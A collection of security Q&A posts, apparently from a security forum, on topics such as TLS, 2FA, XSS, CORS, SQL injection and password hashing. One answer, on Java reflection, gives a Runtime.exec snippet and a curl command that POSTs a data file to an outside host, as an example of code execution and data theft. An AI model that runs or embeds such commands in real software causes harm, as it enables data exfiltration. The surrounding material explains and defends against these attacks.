Typically, you’ll hear of 3 major Kubernetesisms that translate well but require a different way of thinking, and another Kubernetesism that does not translate well at all, and requires a VERY different way of thinking
First up is the sidecar pattern. In the sidecar, Kubernetes delivers functionality that runs alongside all containers in a pod. This second sort of approach you’ll hear of is called DaemonSet -- which runs alongside all nodes in the cluster, or all in the namespace (cluster in the cluster), which there are many ways of seeing, say, Twistlock Defender deploy, or CN-series UTM (equivalent to a PAN-OS firewall)
Thirdly, you will encounter the more-popular and easier to understand concept, the registry, which can provide approved containers with already-scanned binaries, images, configurations, etc. This is a bit cart-before horse though because ultimately what Kubernetes is missing is policy enforcement and tracking
That’s where the final concept comes into play. Kubernetes nomenclature defines this role as the Admission Controller, which provides admission control. There are a few other moving pieces to this, but a book on Kubernetes Security will clear this up quickly enough. The most popular platform for admission control is the OPA Gateway admission controller, which has its own policy language. However, other admission controllers do exist and may be wrapped into your cloud providers’ own policy products and vehicles. Sometimes it could be both, or OPA Gateway could replace your cloud providers’ Kubernetes policy vehicle entirely. Admission control would be a place where say, only tagged containers would be able to made able to run, or where processes inside containers could be made to not run as root (i.e., container doesn’t run things as root user). These are small examples, but could extend further into PodSecurityPolicy controls or deeper into the Kubernetes ecosystem. Sometimes this is Kubernetes implementation-specific which can be at odds or not again with the cloud providers’ Kubernetes implementation(s), etc


Is encryption still applied if you ignore the SSL certificate warning for self-signed certs? Would encryption still be applied on communication with devices using self-signed certificates if you ignore the warning and proceed without installing the certificate? Would you need to install it to ensure encryption or will it by default encrypt when the user ignores the warning and proceeds?

I understand that the integrity part or validating the server or device by a CA is not applied but just wanted to know if the encryption part would be applied if we ignore the browser warning and proceed.

If installing is required, In an environment where you log in only from an internal network to an internal-only asset through https etc. let's say an internal portal, would it be recommended to add that self signed certificate to the trusted list so that the encryption would be applied and MiTM attacks wouldn't be able to see the credentials sent over. In a pure internal-only production setup (assuming a CA is not set up yet) what would be the best practices with self-signed certificates.

If you ignore the certificate warning the encryption still applied, but because it's an unauthenticated encryption, the encryption is useless against active adversary (an MITM adversary that can intercept and modify the data passing through it), as the active adversary can just reencrypt your connection.

The best practice to use self signed certificate in production environment is to compare the certificate fingerprint with the expected certificate fingerprint obtained through a trustworthy channel. After you verified the certificate fingerprint, you then should pin the certificate by adding it to the trusted list. Additionally, if you need to work with lots of certificates and lots of devices, you can create your own certificate authority and add that root CA certificate to the root trust list.


Amazon 2FA: Compromising the email leads to compromising 2FA, e.g removing the other factor? I had some interesting situation: My Amazon account has 2FA enabled where my smartphone with google authenticator is my second factor.

Due to issues with this phone my second factor basically broke (no longer produced reliable pins).
Since I was on a machine which was marked as trusted I could shop etc just with my email+password on this machine.

When I however tried to add a new smartphone as a replacement factor even on my trusted device I was prompted to enter the second factor, which I couldn't. I then had to resort to entering a phone number in the support area and a representative called me back.

Now what happened caused a little bit of doubt on the usefulness of my fancy 2FA: The agent asked me for my email address I used to log in to amazon which I told him. Then the agent sent me a pin to to this email address. After I read back this pin to the agent she suggested to disable the entire 2FA so I could log in, do my things and eventually enable 2FA back again.

Is this a plausible attack vector? I am aware that an attacker needs the password for my amazon account and the password to the mail account for this amazon account, which itself might be not trivial but I am a little irritated that without further ado I could remove the second factor from my authentication. No further information like birth date etc was asked.

(Since my email address did not reuse the amazon password (or any password) and it itself uses a 2FA I regard this threat quite low for my situation, but it still somehow feels odd)

Is this a plausible attack vector?

A lot of consumer sites base there security measures on a chain of trust. They trust you to make sure your primary contact method is properly secured. They need a primary contact which in most cases is your email address. All password resets, account management, notifications etc go through this.

Given the size of Amazon and the % of people tech savy enough to set up and manage advanced multi factor auth, I imagine it is a business decision to keep their 2FA as simple as possible. After all it is not their problem if your email account was compromised, which would be a mandatory step to then disable their 2FA.

To be completely secure I would take additional steps to secure the final step in the chain of trust, i.e your email account. Google just launched a very nice feature that creates a multi factor auth system that requires extended checks to reset. You may not be using a Google account but it serves as a good example of how to do it.

Find out more here: https://landing.google.com/advancedprotection/


When is garbage collection activated on my Samsung T3 external usb SSD drive? The trim command is unsupported on my Samsung T3 external usb ssd drive. I would like to know when and under what conditions the internal garbage collection is activated so it purges deleted files on the drive.

In the absence of TRIM, an external USB drive (SSD or not) is pure block storage. It just stores 512 or 4096 byte blocks. It doesn't know about files, let alone whether they're deleted.


Is acquiring the csrftoken alone sufficient for performing any security exploits? I have confirmed the presence of reflected XSS vulnerability in my website and I see the csrftoken present in one of the cookies when injecting a document.cookie in javascript. We don't have the user-session cookies. Is that csrftoken sufficient enough for performing further attacks?

If you have XSS, you can do literally anything that a script on the page could do. Read all the user's data on that site. Steal secrets (for that site) from their local storage. Prompt them to download malicious files from the trusted site. Tamper with the path to any file they do download, before they get it. Impersonate them in posts (on that site). Delete their account (if that doesn't require re-authenticating). Change their email address (if it doesn't require re-authenticating). Upload your own content or access key. Fake-redirect them to the login page, present a clone of the login screen, and try to steal their credentials. Send the exploit payload to other users. Mine BitCoin with their browsers' JS engine (OK, that one is pretty pointless).

Stealing cookies is kiddie-mode XSS. It's easy to do, but also easy to defend against, rarely needed, and sometimes pointless. To technically answer your question, obviously if you have the CSRF token (which is going to be either in a script readable cookie or just in the page's DOM, which you can also read) then you can launch CSRF attacks on the user... but you don't need to because you can make the user's browser do anything that CSRF could do, and much, much more, from script running on the same site.


Few questions about Group Temporal Key (GTK) in WPA/WPA2 I have a few question about group key in WPA family:

1. How many bits GTK have? How much characters this key have?

2. From which characters GTK can be generated? From 0-9, a-z etc.?

3. Is GTK the final key to encrypt packets (GTK encrypts packets directly?)?

4. If not, what key encrypts multicast traffic? Which formula describes this key derivation from GTK?

1. GTK has 128 bits for CCMP and 256 bits for TKIP

2. Multicast traffic is protected with another key: GTK (Group Transient key), generated from a master key called GMK (Group Master Key) which is a fixed string based on access point MAC address and a random number GNonce.

3 and 4. GTK is divided into temporary keys:

GEK (Group Encryption Key): Key used for data encryption (used by CCMP for auth and by TKIP for encryption).
GIK (Group Integrity Key): Key used for data auth (used only by Michael for TKIP).

Amazing pdf manual about this: Wi-Fi security – WEP, WPA
and WPA2


Is the Amazon S3 Pre-Signed URL protected from brute force attack? I want to know that whether Amazon S3 Pre-Signed URL is protected from brute force attack.
For example, if I am the only person who knows the Pre-signed URL, is it extremely unlikely that somebody use brute force attack and access to bucket?

Yes. You should use AWS S3 SigV4 (various libraries support it, for example this version is required to use S3 bucket in Frankfurt region, while buckets in US Virginia might be accessible with older code using older versions of the protocol).
The signature is produced using HMAC-SHA256. Guessing a correct signature without knowing your secret access key is very hard (2 raised to the power of 128 hard). Bitcoin miners are doing a related task, and the entire bitcoin network achieves about 2^67 per second, or 2^82 per year. So 2^128 would be quite hard to achieve for your hypothetical attacker. They would get access by phishing someone who has access, not by brute force.


If a CORS request doesn't need authentication, why can't I send it without the cookies? Many times over the past N years, I've needed my own page (ABC.com) to get some data from a different origin (XYZ.com) and display it (all in JavaScript, no server fetching).

This doesn't work because XYZ.com doesn't have ABC.com in its Access-Control-Allow-Origin header. If the header did include ABC.com, then my browser's cookies (namely the auth cookie) for XYZ.com would be sent along with the request to XYZ.com. I totally understand why the browser would want to stop ABC.com from making authenticated requests to XYZ.com if it didn't have access.

But in all of my scenarios, the request made to XYZ.com are resources that are available to the public, there is no authentication/cookies needed, anyone can grab them. I know that there are workarounds for this (have the ABC.com server request the data from XYZ.com). Or XYZ.com can publish JSONP. But in my cases, sometimes I'm serving my file from the local file system so there is no server. Getting it from a server is a PITA. And lastly, I haven't been in control of XYZ.com and can't force it to also publish JSONP.
n
The meat of the question - if ABC.com isn't in the Access Control Header for XYZ.com, why wouldn't the browser allow ABC.com's JavaScript to make a request to XYZ.com BUT NOT send any of XYZ.com's cookies being stored in the browser for that user. If the browser makers did that, does that open up the user to some sort of other vulnerability? Because I can't think of anything. What am I missing? Is it just a manpower thing, will that take too much time to program that?

History

The original XMLHttpRequest implementations did not have the concept of "allow credentials" - all requests had credentials attached. Of course, this would be extremely dangerous to allow cross-domain, so XMLHttpRequest was originally allowed same-origin only. When CORS was added, they wanted to minimise changes to reduce the risk of unintended consequences, so keeping the same-origin behaviour for non-CORS sites made sense.

Unexpected authentication

When a request does not have "allow credentials" there is a risk that the browser inadvertently includes credentials. One example the browser can't avoid is network restrictions - such as an Internet site accessing an Intranet site. There may be other examples, such as client certificates. I wouldn't be surprised if some browsers still attach a client cert, even on a non-credentialed request.

Safety first

The above reasons are not that strong. CORS could have been designed to allow non-credentialed requests by default. However, that is the more risky design. When CORS was developed, browser designers were well aware of security issues and chose to implement the less-risky design.


Is there any way to protect main activity of the Android application from being launched by the other applications? By default main activity of my application (HelloWorld  from the Android Studio) is exported and does not require any permission to launch it.

Is there any way to protect my main activity from being launched by the other applications but at the same time leaving the possibility to run the application by the Android device user?

No. After all, the launcher is an application. If you ban applications from starting your activity, you ban the launcher from starting your activity.


Сompromised client.p12 file in OpenVPN I'm not clearly understand technologies behind OpenVPN, so I have a question about OpenVPN security:

What if I have client.p12 (PKCS#12) file and this file was leaked (with export password) to some evil person. Additionally this person can dump my encrypted VPN traffic (which was secured with leaked client.p12 file).

Does this means that dumps of my traffic can be decrypted or hacked with MITM?

Or it's not possible due the fact that server key wasn't compromised and this evil person can only authorize on server as me?

OpenVPN relies on SSL/TLS for establishing the session secret values, with certificates on both client and server (this is documented here). To do a successful Man-in-the-Middle attack, the attacker must impersonate both the client and the server: the attacker must pose as a fake client, when talking to the server, and as a fake server, when talking to the client.

If the attacker stole the client private key, then he can impersonate the client, but this does not give him the power to impersonate the server.

Moreover, since the client-side key in SSL/TLS is used only for a signature, but is not used to actually impact the generation of the secret key used thereafter to encrypt the data, knowing the client private key does not give to the attacker the power to decrypt exchanges between the client and the server (the same would not necessarily be true if the attacker had stolen the server's private key, not the client's -- depending on whether the SSL/TLS layer negotiates a "DHE" or a "plain RSA" cipher suite).

Summary: to the best of our current knowledge (and assuming that OpenVPN's protocol, beyond SSL, is not weak in some way), an attacker who stole the private key (.p12 file with password) of a client can only impersonate that client, but not run a full MitM, or impersonate the server, or eavesdrop on exchanges between the client and the server.


Are there "master keys" that can be used to generate valid SSL keys? I was in a discussion about SSL, and I was explaining that it's impossible to decrypt data sent over SSL if you don't have the key.

Someone responded with the following, that really confused me:

  The important detail here is that there are hundreds of legitimate "master keys" out there that can be used to generate a valid key for a MITM scenario.

What are these master keys that can be used to generate a valid key? Never heard of them.

What that someone probably meant to say was:

  There are a lot of certificate authorities out there, which's keys can be used to generate valid certificates.

While that is true, trusted CAs are not going to be trusted quite long when they hand out certificates to be used for MITM attacks (or, for that matter, do not comply with other rules regarding certificate issuance).

I think there was a CA that signed a sub-CA about a year ago that lost it's credibility rather quickly.

Also, CAs can generate valid certificates for keys (of their choosing, theoretically), but not valid keys for an existing certificate; that is considered infeasible for certificates with acceptable properties to begin with.

The whole trust chain concept only works if you put trust in the CAs, if you don't, you may call those "master keys", but that's a massive simplification and not quite right - they cannot unlock anything, "just" be used to sign valid certificates for a MITM attack.

For additional tin foil:

If "they" have somehow obtained keys from trusted CAs, "they" can in fact do some MITM. Yet, there are some mitigation strategies, for example public key pinning, which makes this harder for regular users of a website.


Why does OpenVAS report CVE-2003-0042 when my server isn't running Tomcat? OpenVAS reports that an Apache virtual host is vulnerable to CVE-2003-0042, which is a vulnerability in versions of Tomcat prior to 3.3.1a.  The host is not running Tomcat.

The detection OID is 1.3.6.1.4.1.25623.1.0.11438.

Why is this vulnerability detected and how can I fix it?  Is it a false positive?

Yes, it may be a false positive.

CVE-2003-0042 was caused when a GET request contained an embedded nul character, and made it possible to list directories that should not be listable and to obtain source code for JSP files.  The OpenVAS test for this vulnerability sends a request for the site's home page, and if this does not produce a directory listing, it sends another request containing an embedded nul.  If the malformed request returns a directory listing when the original request did not, the site is assumed to be vulnerable.

However, modern versions of Apache respond to the nul character in the malformed GET request by discarding the remainder of the line.  This includes the information about which virtual host the request is for, so the request is parsed in the context of the default virtual host.

As a result, if the home page of the default virtual host generates a directory listing but the home page of the virtual host being scanned does not, a false positive for CVE-2003-0042 is generated.

This false positive can be prevented by placing an index.html file on the home page of the default virtual host, so that a directory listing is not generated.


Why is not safe to use the same public key in RSA? In the RSA context, why is not safe to use the same n (public key)for different people?

The modulus is usually bound to the key pair. If somebody would want to sign or decrypt anything he/she would basically have to use the same private key. Obviously you cannot generate a valid private key if you only have knowledge about the public key, that would defeat RSA.

If you want a more theoretical answer, then I wish you luck and a good mathematical background.


How does memory-hard hashing passwords protect against brute force attacks? I have a background in web app development and I'm trying to up my security game but there are some things that I find confusing.
Like how does memory-hard hashed passwords protect against brute force attacks? Let's assume I have a webapp which hashes passwords with Argon2i. To my understanding it's great because it takes up a lot of computational power and it's "slow". This is the part where I get lost. How does it work under the hood? Who's doing the computational work?
When I try to imagine the how it could work, this is what I come up with. Which still leaves my with a lot of questions and is, probably, dead wrong:

User password is hashed and stored
Hacker decides to brute force an account
Server takes a long time to validate passwords due to the memory-hard hashing used therefore it takes up too much time to gain access to an account.

Based on the assumptions listed above, I'm left to conclude that the computational work happens on the server (validating passwords). This conclusion doesn't seem right to me. Shouldn't you have the computational work be on the hacker's side of the equation? Is my server not at risk running out of resources if my algorithms are heavy and one of these attacks hit? So when I read things like "This medium-hard algorithm is great because it costs a lot of computational work" I don't understand how  hackers could care less since they can just send requests without having to do work.. unless they have had access to the db where the sensitive data was stored.

Password hashing is concerned with brute-force attacks that take place offline using a dump of hashed passwords, not online against a running service. See this answer for how password hashes are usually obtained.
A running service does pay a cost when verifying passwords since it is not completely cheap. A strongly recommended step to take is to rate-limit the number of login attempts that can be performed, thus preventing the attacker from sending more than "a few" password guesses.
If there is no rate-limiting, the likely result would be the server CPU being fully consumed with password verification, slowing things down even more potentially to the point of crashing. This would be equivalent to a denial-of-service but would not result in a successful brute-force attack.
If the servers can handle it, it would still take entirely too long to brute-force due to time needed to verify each password (as well as the round-trip to the server).
Finally, there are password hashing techniques where the load is mostly on the client (eg: SCRAM), but this is more useful with heavier custom clients (eg: DB clients).


Best way to store a password in a text file We have a WebLogic server (WLS_APP) with a lot of web applications, we also have an Oracle Service Bus (WLS_OSB) with a lot of services deployed on it.

We have these services aggregated in proxy services with wss_authentication enabled. So each application that resides in WLS_APP needs a user/password in order to call services in WLS_OSB.

We think the easiest way to do this is to store the passwords of the application in a file in the WLS_APP server and then send it with the password to the OSB.

What is the best option to store these passwords in the WLS_APP?

You want a password vault or password management solution that allows for application passwords, such as CyberArk Vault:

https://www.cyberark.com/solutions/by-project/application-credential-security/

Then your application calls the vault API to securely retrieve passwords from the vault.


Is Maven a plausible vector of attack? You have a computer system, for developing and running your Top Secret™ project on, and you don't allow it  direct access to the internet.

However, you want to use Maven, for all the advantages it confers, and so you allow Maven access to your intranet repository, which then has access to the internet repository.

The question is - if someone knew about your Top Secret project, and knew you were using Maven, could they exploit it to try penetrate your system and retrieve information?

It certainly was in the past. See http://blog.ontoillogical.com/blog/2014/07/28/how-to-take-over-any-java-developer/

Maven Central supports HTTPS, as of July 2014.

Maven Central requires PGP signatures for artifacts. There's a plugin to verify the signatures: http://www.simplify4u.org/pgpverify-maven-plugin/index.html

Now, badguy can write a malicious program and sign it with PGP, and it would be verified, so you'll want to check that the PGP signature belongs to an organization / developer that you trust.


hashing API key with a timestamp? I'm working on a project where the initial dev decided it would be a good idea to disguise API keys by md5'ing them with along with the current minute, and grant clients a three-minute window to send that value.

So the client does:

headers.authKey = md5(ACTUAL_API_KEY + current_minute())

And the server does:

// allow for one-minute-late and one-minute-early hashes
for (i in [-1, 0, 1]) :
  if headers.authKey == md5(ACTUAL_API_KEY + (current_minute()+i))
    valid = true

This seems like security theater to me. I guess I could entertain the idea that disguising the value "over the wire" might be a good idea, but I'm not sure if there is a real practical benefit to that, and it seems like it could be making things more complicated than they need to be. Also...md5.

This isn't completely useless.  It does provide one bit of protection: an attacker who steals the value of authKey for some session only gets to exploit it for a very narrow time window.  In fact, what your coworker is doing very much resembles TOTP—the familiar system of time-based six-digit codes used as a second authentication factor.

Here's one scenario: an attacker manages to steal log files that reveal authKey values.  Without the timestamp thrown into the mix they could just reuse that value, possibly indefinitely.


Secure backup on online Cloudstorage i own a small private server (@home) with all necessary features for my backup purposes (Owncloud, SVN, GIT).

My target now is to ensure the safety of my data in emergency cases like fire/flood. For this i want to rent or use a free online cloud storage (dropbox,strato,...). My server should backup there all important data on a weekly basis. Sadly the CPU, older Atom dualcore, has not enough performance to work on heavy load tasks.

Which file format or technique should i use to upload the data in a way no other system can read it?
I thought about implementing an own small crypt software for it but at first i want to here your comments.

Dominik

There are a number of providers available for this. You want to make sure that the provider you select has built in encryption options for which you can maintain the key. The below providers all support this.

Crashplan
BackBlaze

Remember that you need configure the software to use an encryption key you have generated yourself and keep this secure and safe. If you lose this key your backups are gone. It might be a good idea to invest in a safe deposit box or a fire proof safe.


Anonymizing IP addresses using (sha) hashes; how to circumvent rainbow table attacks? Under GDPR, IP addresses are personal data. I have no need to trace back IP to specific users, but I would like to limit downloads to one per IP.* I do not want to store plain IPs.

My first solution would be to hash the IP. I could store the hash:

12ca17b49af2289436f303e0166030a21e525d266e209267433801a8fd4071a0

The problem is that hashing all 4 294 967 296 possible IP addresses is simple, and someone will easily find that 127.0.0.1 is the stored IP.

Adding a salt holds the same problem, you can calculate all the IPs again with this salt and arrive at the same problem.

Is there a solution for this?

* Use case here is simplified, please do not comment on reasons why I want this. ;)

As long as you are not storing IP addresses alongside other personally identifiable information, they do not have to be handled under GDPR rules. They only become sensitive when enriched with a user's name, email address, or any other such data. Just make sure that the systems limiting requests are separate from those handling logging in and user data, and you'll be fine. In this case, all you're really storing is a contextless number from a discrete set.


Dyanamic class load for server side application Is there a problem to use reflection (specifically class.forName) in server side application?
My main thread about this is someone to inject a code dumping memory in JVM and adding commands in reference memory field, but this is unlike in server side (and if server side was compromised this will be a minor problem).
Btw, I am asking because static analises keep acusing as a vulnerabiliy

Reflection, and Class.forName in particular, can enable execution of arbitrary code.
Example 1: Malicious developer
    Class runtimeClass = Class.forName("java.lang.Runtime");
    Object runtime = runtimeClass.getMethod("getRuntime").invoke(runtimeClass);
    clazz.getMethod("exec", String.class).invoke(runtime, "calc.exe");

Instead of calc.exe it can be for instance some command that destroys something important on your server, or installs a virus, or steals your data like
curl -d "@data.txt" -X POST https://your.site.com/data

Even if you make sure the word "Runtime" is not used in the code, it can be created dynamically. Thus you cannot guarantee that Runtime class is  not used in the reflection code.
Example 2: Honest developer
There can be security problems even if such code is implemented by a honest developer. For instance, you want to simplify the code and build some class or method name dynamically depending on user request, and then execute it. See an OWASP example:
    String ctl = request.getParameter("ctl");
    Class cmdClass = Class.forName(ctl + "Command");
    Worker ao = (Worker) cmdClass.newInstance();
    ao.doAction(request);

In this case malicious user can trigger some method even without having permissions required by business logic.
The goal of static analysis tools is to show you the places in the code that can potentially lead to security problems. You decide if particular case means any risk for you or not.


Is running IIS application pools as a domain user considered bad practice? I'd say the question is self-explanatory, but to give a bit of context to the sort of environment I'm talking about.

The scenario is that your webservers are being joined to the domain to make administration easier.  Then, if we run the website as a domain user, we gain the ability to run define the connectionstrings as SSPI.  Is it then valid (or more specifically, encourage/discouraged) to run the application pool as a domain user simply so that SSPI for the connection string will function.

Obviously, there are a few things that we would do here, such as reduced access to the domain user beyond the machine it's running on (non-interactive etc.), strong passwords, etc.

I appreciate that this doesn't really solve many security issues, it's just a question that came up and I've always considered it to be the wrong way.  I'm looking for specific reasons why this shouldn't be done as it solves some of the issues we have (e.g. we cannot easily encrypt connection strings).

It's not ideal, in that it is better to not use a domain account where a local account will suffice, but I wouldn't say that it would generally be considered falling to level of a bad practice.  It certainly can as you note, make administration easier, particularly in scenarios where you have multiple web servers for an application which these days, is more common than not, or need access to a range of domain resources.

You must of course, as you've noted in your question, follow the generally recommended practices you've already identified for service-type accounts, but ultimately, properly managed and limited, a application service account should not expose you to much more attack surface area that machine accounts configured to have access to the same network resources.


Suspicious entries in MySQL database from user input forms - sql injection? I built a website from scratch using PHP and MySQL for my residential community and our budget is a big fat '0'.

Five days ago I discovered that there were 222 entries in a table in my database that looked suspicious. The I found another 196 entries in another table with similar entries. All these entries had been made within a 11 hour span.

Since then I have been breaking my head trying to
1. find ways of preventing such things from happening - basically trying to learn and convert my PHP to MySQLi (my host does not support PDO) and
2. trying to find out for sure whether this is an SQL injection attack.
3. the Apache log for the relevant day had a 4976Kb size whereas, all other days it is less than 50Kb
4. I have also taken a dump of one of the tables (222 records).

What I would like to know is, which of these is the first place to visit?
Do I study the logs first to try and find out what they got out of this exercise?
Do I study the table entries to find out how they did it?
Do I take down the site?
Do I flush my tables, change existing passwords etc? (luckily, since this site had not been 'launched', there is no data that I need to preserve - I can simply flush all tables!)

Searching on SE has given me a lot to think about especially https://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server and RobM's answer made perfect sense.

I don't know the implications of what I see in my tables. Some of the entries are not displayed in the preview - obviously because it contains special characters. I'd have loved to be able to upload the excel dump of the table in question but that doesn't seem to be possible here...

I don't want to remove these entries before I can understand what they could mean and how much I am compromised. At the same time, I am not sure whether leaving them there can cause me further harm....

You might have been subjected to the process called "Fuzzing". This is when an attacker submits many inputs and perceives how your web application behaves. Web Fuzzing could include sql injection, XSS, overladed input or invalid input strings in general.

Well first you need to look at the entries..
Do they contain SQL commands?
like SELECT, UPDATE, DELETE, INSERT
or sql operators, such as  OR + -
or many sql characters such as ' > < = "

If u see them, then it means that the hacker tried an SQL injection on your database.

If you see any html characters in your database, the attacker tried to execute stored XSS against you.

If the inputs are long, the attacker tried perhaps to DOS your website and bring it down.
(Same is true if he submitted a lot of input in short time).

You need to observe the functionality of your site which accepted those values. If the entries/inputs didnt come from a specific functionality (e.g. registration form) than it was probably a hacking attempt.

Other types of injections that exit are LDAP, XML, Command and a few more that i cant remember. Look for characters that contain the following: % , > , ( , ) , ", ', dots , commas.

You can test it with mysql commands/operators:
1) LIKE '%searchStringGoesHere%'
2) MATCH AGAINST.

Panels like phpmyadmin, provides the same functionality but for people who dont know the sql language.

Alternatively, someone might have run some SEO bot on your site, and that was a spam attack, which is not much to do with security, but you could introduce captcha on your forms and tokens per each request to prevent a XSRF attack


Protect our payroll data from a legal and moral obligation We have our payroll software to be installed on our file server. This contains all the details of current and past employees.  The data contained in the payroll software includes tax, bank, National Insurance number, address, DOB, start and end date, etc.

We are in the UK and we want to protect ourselves legally and moral obligation. We want to protect against unauthorised or unlawful processing of personal data and against accidental loss or destruction of, or damage to, personal data.

Technical details of the software:

The databases are located on a Windows 2008 SBS server and the client application is installed on a Windows 7 64bit workstation.
The databases are not encrypted and are of an old bespoke system.  In order to read the database you will need the development suite.
The application requires a password to enter the system.

What are the necessary steps in securing this system? How can we establish a list of precise requirements (access controls, permissions, auditing, …)? What laws, standards and best practices apply?

Further information from your questions

A breakdown of the security :

The server is locked in the secure server room preventing unauthorised accessed.
The database files are not encrypted but will be protected by access control list.
The fields in the database are not Encrypted
Transmission across the network is not encrypted
No private Vlans on the network and no hardware that supports it at present.  We will be upgrading shortly
App developed in the 90’s so I’m guessing no encryption over transmission and probably not securely developed by todays standards.

I want to know if ACL is acceptable taking into account the server is physically locked away, the database/files are not encrypted and all machines are on the same LAN?

Here’s some more information ive collated from the UK:

Action taken against data protection and privacy and electronic comunications: http://www.ico.gov.uk/what_we_cover/taking_action/dp_pecr.aspx
Lots of courts proceedings against companies and government departments

Data protection principles:
     ico.gov.uk/for_organisations/data_protection/the_guide/the_principles.aspx
Lots of courts
Quote from webpage "Appropriate technical and organisational measures shall be taken against unauthorised or unlawful processing of personal data and against accidental loss or destruction of, or damage to, personal data."

What security measures should I take to protect the personal data I hold?:
   ico.gov.uk/for_organisations/data_protection/security_measures.aspx
Quotes "Only allow your staff access to the information they need to do their job and don't let them share passwords.
Encrypt any personal information held electronically that would cause damage or distress if it were lost or stolen."

You should take the usual precautions to secure any important server.

1) Properly configure a firewall to have a deny by default policy and only whitelist approved traffic.

2) Proper ACL keeping in mind the principle of the least privileged.

3) Properly authenticating the application that accesses the server - this might mean a good highly random password with enough entropy, authenticating against an AAA server or even certificates depending on the scale of your setup.

3) Encrypt the database - do not count on an old legacy system making it difficult for a malicious attacker to read your database.

4) Log all activities - proper accounting makes it much easier to track unintended changes to the system.

Depending on the type of information you hold, you might need to meet certain compliance schemes. I do not have much idea about this point though, you might want to check with a local audit company for more information.


How does a NG Firewall do application visibility and classification of TLS traffic without TLS interception and how reliable is this How Does Application Visibility and Control Work?   The application
  identification (App ID) classification engine and application
  signature pattern-matching engine operate at Layer 7 and inspect the
  actual content of the payload for identifying applications. App ID
  performs a deep packet inspection (DPI) of traffic on the network and
  on every packet in the flow that passes through the application
  identification engine until the application is identified. Application
  findings such as IP addresses, hostnames, and port ranges are saved in
  the application system cache (ASC) to expedite future identification.
  -- Juniper

  AVC uses stateful deep packet inspection (DPI) to classify more than
  1400 applications. It can also combine DPI with techniques such as
  statistical classification, socket caching, service discovery, auto
  learning, and DNS-AS. Custom applications can detect native apps.
  -- Cisco AVC

  The inspection of thousands of traffic patterns over several years led
  Meraki to create a database of traffic signatures that can be used to
  recognize network traffic at the application level.
  -- Meraki (Cisco)

  AppRF performs deep packet inspection (DPI) of local traffic and
  detects over 1500 applications on the network. AppRF allows you to
  configure both application and application category policies within a
  given user role. WebCC uses a cloud-based service to dynamically
  determine the types of websites being visited, and their safety
  -- Aruba (HP)

Different vendors of NG Firewalls perform application control but the technique used isn't documented. All vendors do a quick explanation of how it works but no details are given.

I'm asking if someone knows what happens in the background when no SSL interception is used on the firewall and all traffic is transferred via HTTPS (TLS 1.2) [URL is hidden too].

How does the NGFW identify and see inside Google, Facebook, etc. traffic separating (videos, games, chat, etc.)? One way should be identifying IPs if they use different ranges dedicated to specific services but this technique doesn't offer much granularity. The most interesting part is "traffic patterns". How are they built and what's the fault positive risk to block a valid application that has a "similar" pattern to a famous app?

They do it on Certificate basis. They check the data on the certificate exchange between server an client, and base on that, they now if you are trying to access to dropbox, outlook, or any other page. The CN or SAN of Dropbox is www.dropbox.com, so they now you are trying to access it.

In other cases, application control in Youtube, browsing, etc.,is problematic, because is signed with a wildcard: *.google.com. This makes Fws unable to differentiate between browsing or youtube. In the case of gmail, it has its own CN/SAN as gmail.google.com. I don't now if FWs have implemented a parallel mechanism to detect youtube, but not too long ago they were unable.
Regards.


SQL injection prevention by replacing ' with '' I'm working on a web application which is vulnerable to SQL injection in its search box. It uses ASP.Net (C#) and Microsoft SQL Server.

In the search box it queries like:

Select Column1 from TBL where Column2 = N'  Here The Search box Content  ';

As you can see the above code is completely vulnerable to SQLi.
What I did to mitigate this was just creating a method to replace all ' with '' which in SQL Server means it is a single quotation.

So if a user enters something like  ' order by -- in the textbox the replace function will replace it with Replace("'","''"); and the SQL Server would never run the attacker's injected SQL.

So I just want to know that am I completely safe against SQLi? Or is there a way to bypass my injection protection?

No, that is not safe at all.

Replacing single-quotes with double-quotes or vice versa will only keep you safe from one type of injection. Also, what if the end user has a legitimate need to enter a single-quote mark?

As was pointed out in the comments, you should use Prepared Statements.

Below is an example, taken from the Microsoft documentation.

However, the technique is not unique to Microsoft. Every serious database supports prepared statements.

SqlCommand command = new SqlCommand(null, connection);

// Create and prepare an SQL statement.
command.CommandText =
    "INSERT INTO Region (RegionID, RegionDescription) " +
    "VALUES (@id, @desc)";
SqlParameter idParam = new SqlParameter("@id", SqlDbType.Int, 0);
SqlParameter descParam =
        new SqlParameter("@desc", SqlDbType.Text, 100);
idParam.Value = 20;
descParam.Value = "First Region";
command.Parameters.Add(idParam);
command.Parameters.Add(descParam);

// Call Prepare after setting the Commandtext and Parameters.
command.Prepare();
command.ExecuteNonQuery();


Store To Store communication through MPLS VPN In a PCI environment with an MPLS VPN network setup should you allow store to store communication?

Do you think that an MPLS network would be consider secure enough for this? why or why not?

PCI-DSS speaks to the Credit Data Environment.  If the entire "store" is all part of the CDE then in compliance terms it doesn't make one bit of difference, all systems in all of those environments are in scope for a QSA auditor to poke at.

That being said, it's probably not a good idea.  The more pathways attackers have to bounce around within, the harder it is to define secure channels.

Let me just throw a realistic adversarial scenario out there:
A badguy gets on a POS register in Store A, it's an underperforming location that handles a very small number of transactions.  Someone in the store connected a third party device to the network outside your control and the attacker managed to transition to the private network.  It's low volume and low impact if the attacker pokes around and discovers a weakness in a trust model (Like, the key encryption key "hiding" in a dll in plain sight... yes I'm talking to you PA-DSS compliant folks...)  And is able to start gathering a minimal number of credit cards.

They discover that Store B is accessible through the WAN and apply the techniques they were able to pioneer in the low volume store much more effectively the second time around in the store that's processing 100x the number of transactions as the first.

Store B has a much better set of controls, but by leveraging the less maintained systems in Store A the attacker is able to scoot off with all the credit information from both locations.  Whereas Store A alone might have led to a compromise of a couple dozen customer records, Store B turned it into a national reporting incident with tourists from 30+ states being compromised.

In other words, if you made it this far and didn't just run away happy with the compliance answer I wouldn't do it unless there was an incredible business need for it.  Even though it's "on the MPLS" you're no doubt connecting it to your head end, which in turn is connected to the internet.


Protect admin page using proxy I want to protect my admin page not only with a login and password, but also with IP filtering as described here: https://security.stackexchange.com/a/30649/68841

But I have two questions:

Can I use a proxy instead of a VPN?
I also need to use one more proxy on the server, for API requests to the specific site which blocked in my country. Can I use the same proxy to access the admin page on my server and for the API requests from this server to another site?

Yes, you can use a proxy. Your two questions will answer with one application, you need to set up this. You can use NGINX.

NGINX is opensource software for web serving, reverse proxying, caching, load balancing, media streaming, and more.

Here's my answer to your questions:

Yes you can use nginx proxy to protect your admin panel, Here's the link
https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-http-basic-authentication/
You use Nginx proxy again in the same server, what you need to do is setup a virtual host or server Blocks and proxy pass if you want to other api to your domain
https://www.nginx.com/resources/wiki/start/topics/examples/server_blocks/


